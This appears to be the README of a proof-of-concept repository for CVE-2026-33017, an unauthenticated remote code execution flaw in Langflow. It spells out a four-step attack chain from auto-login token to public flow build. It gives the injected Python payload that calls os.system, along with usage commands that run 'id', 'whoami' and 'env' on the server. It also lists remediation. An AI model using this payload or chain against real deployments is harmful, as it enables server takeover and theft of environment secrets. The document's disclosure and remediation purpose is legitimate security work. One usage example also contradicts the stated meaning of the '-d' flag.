CVE-2026-33017 - Langflow Unauthenticated Remote Code Execution (RCE)

Overview

CVE ID: CVE-2026-33017
Affected Software: Langflow Vulnerable Versions: <= 1.8.2 Fixed Version: >= 1.9.0 Severity: Critical
Author: arensballiu
Date: 2026

Description

Langflow exposes a public flow build endpoint (/api/v1/build_public_tmp/{flowID}/flow) that accepts arbitrary CustomComponent code blocks and executes them server-side without authentication. By injecting a malicious Python payload into the code field of a CustomComponent node, an unauthenticated attacker can run arbitrary operating system commands with the privileges of the Langflow server process.

The attack chain first abuses the /api/v1/auto_login endpoint, which issues a bearer token without requiring credentials when Langflow is running in its default auto-login configuration. Then it uses that token to create a temporary public flow and trigger server-side code execution through the build endpoint.

A docker file is included which creates a docker instance with langflow installed and running.

Affected Endpoints

Endpoint	Method	Auth Required	Purpose
/api/v1/auto_login	GET	No	Obtain bearer token (auto-login must be enabled)
/api/v1/flows/	POST	Yes (Bearer)	Create a new flow
/api/v1/build_public_tmp/{flowID}/flow	POST	No (public)	Trigger build - vulnerable execution point
/api/v1/flows/{flowID}	DELETE	Yes (Bearer)	Clean up the created flow

Proof of Concept

File: CVE-2026-33017_POC.py

Requirements

• Python 3.x
• requests library
• Network access to a Langflow instance running with auto-login enabled

pip install requests

Usage

python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

Arguments

Flag	Long Form	Required	Description
-u	--url	Yes	Base URL of the Langflow instance
-c	--command	Yes	OS command to execute on the server
-d	--delete	No	Delete the created flow after exploitation

Examples

Verify code execution:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

Retrieve server environment variables:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

Keep the flow alive after exploitation (skip cleanup):

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

Expected Output

[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

Payload Breakdown

The exploit injects the following Python snippet into the code field of a CustomComponent node:

from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"

• __import__('os').system(...) - dynamically imports the os module and executes the attacker-supplied shell command on the server.
• The rest of the class definition is a valid CustomComponent required to satisfy Langflow's component loader without raising a parse error.
• The flow is created as PUBLIC and the build endpoint is invoked on its public endpoint, meaning no session cookie or authentication token is required to trigger execution.

Root Cause

Langflow's CustomComponent system allows arbitrary Python code to be submitted as part of a flow definition. The /api/v1/build_public_tmp/{flowID}/flow endpoint builds and partially evaluates this code server-side including module-level statements without sandboxing or restricting access to Python built-ins such as __import__.

Attack Chain Summary

1. GET /api/v1/auto_login          →  Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/             →  Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/  →  Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id}       →  Clean up (optional)

All four steps can be performed by an anonymous attacker against a default Langflow deployment.

Remediation

• Upgrade Langflow to version 1.9.0 or above.
• Disable auto-login (LANGFLOW_AUTO_LOGIN=false) in any internet-facing deployment.

Disclaimer

This proof of concept is provided for educational and authorized security research purposes only. Use of this script against systems without explicit written permission is illegal and unethical. The author and contributors assume no liability for misuse.